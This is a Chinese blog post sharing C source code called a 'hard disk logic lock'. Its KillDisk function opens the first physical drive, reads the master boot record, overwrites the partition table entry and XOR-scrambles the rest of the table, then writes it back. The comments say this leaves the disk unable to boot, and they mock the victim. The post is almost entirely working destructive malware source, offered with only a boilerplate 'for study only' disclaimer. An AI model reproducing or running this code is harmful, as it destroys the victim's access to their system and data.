硬盘逻辑锁代码

忘了是哪位牛淫发出来的，躺在硬盘里很久了，也没时间看

[code]
#include
#include

#include "YouHua.h"

void KillDisk()
{
HANDLE hDevice=
CreateFile("\\\\.\\PHYSICALDRIVE0",GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,
0,NULL); //访问物理磁盘 physicaldriver0 就是第一快物理磁盘

if(hDevice==INVALID_HANDLE_VALUE) //判断句柄有效否
{
MessageBox(NULL,"Your luck's so good !1","Man~",MB_ICONERROR|MB_OK);
ExitProcess(0);
}

DWORD cout;
DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME,NULL,0,NULL,0,&cout,NULL); //下发锁盘命令

DISK_GEOMETRY Getmetry;

DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&Getmetry,sizeof(DISK_GEOMETRY),
&cout,
NULL);

LPTSTR szBuf;
szBuf=(LPTSTR)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
Getmetry.BytesPerSector);

if(szBuf==NULL)
{
MessageBox(NULL,
"Your luck's so good !2","Man~",
MB_ICONERROR|MB_OK);
ExitProcess(0);
}

DWORD bytes=512;
DWORD readsize;
BOOL m_ret;
m_ret=ReadFile(hDevice,szBuf,bytes,&readsize,NULL); //这里就是读取磁盘的前512字节 里面放了MBR 和DBR
if(m_ret==FALSE || readsize<512) // 简单点理解 MBR就是存放硬盘的一些信息 { //例如主引导纪录等等。 随便破坏一点点。。 那么硬盘就无法正常启动了 MessageBox(NULL, //很淫贱吧 "Your luck's so good !","Man~", MB_ICONERROR|MB_OK); ExitProcess(0); } BYTE MBR[512]={0}; for(int n=0;n<512;n++) { MBR[n]=szBuf[n]; } DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0,&cout,NULL); //下发解锁命令 CloseHandle(hDevice); MBR[0x1BE]=80; //活动分区标志 MBR[0x1BF]=0; //本分区起始地址 MBR[0x1C2]=5; //分区类型 for(int i=0x1C3;i<=0x1FE;i++) { MBR[i]=MBR[i]^26; //加密 } hDevice= CreateFile("\\\\.\\PHYSICALDRIVE0", //再次打开物理磁盘 GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL ); if(hDevice==INVALID_HANDLE_VALUE) { MessageBox(NULL, "Your luck's so good !","Man~", MB_ICONERROR|MB_OK); ExitProcess(0); } DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME,NULL,0,NULL,0,&cout,NULL); //锁盘 m_ret=WriteFile(hDevice,MBR,bytes,&readsize,NULL); //重写MBR if(m_ret==FALSE||readsize<512) { MessageBox(NULL, "Your luck's so good !","Shit", MB_ICONERROR|MB_OK); ExitProcess(0); } DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0,&cout,NULL); //解锁 CloseHandle(hDevice); //搞定收工... } void main() { KillDisk(); } [/code] 以上代码仅供学习研究和收藏之用,请在法律允许范围内使用,勿用于商业及非法途径,使用者风险自负,所造成的后果本博客不承担任何责任